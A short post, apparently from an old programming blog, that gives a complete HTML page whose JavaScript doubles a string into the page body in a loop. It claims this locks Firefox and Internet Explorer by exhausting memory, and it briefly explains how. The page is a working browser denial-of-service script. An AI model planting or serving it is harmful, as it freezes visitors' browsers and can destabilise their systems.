How to make IE and FF to run out of memory [JavaScript]
The following script allocates memory in an exponential manner. Both Firefox and IE get locked when executing the following script.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2" />
<title>Hello word!</title>
</head>
<body>
Oh s**t!
</body>
<script language="javascript" type="text/javascript">
bb = document.getElementsByTagName("body");
bb[0].innerHTML = '';
var a = "Oh s**t! \n";
for(j=0; j< 100; j++) {
b = a+a; a += b; bb[0].innerHTML = bb[0].innerHTML+"<br>"+a;
}
</script>
</html>
Impossible? Try it (at your own risk).
NOTE: running out of memory can cause your system to become unstable.
The secret behind
The above script reads and concatenates the content of the body element in an exponential way - the sting lenght grows very fast at every iteration causing the browser to run out of memory.
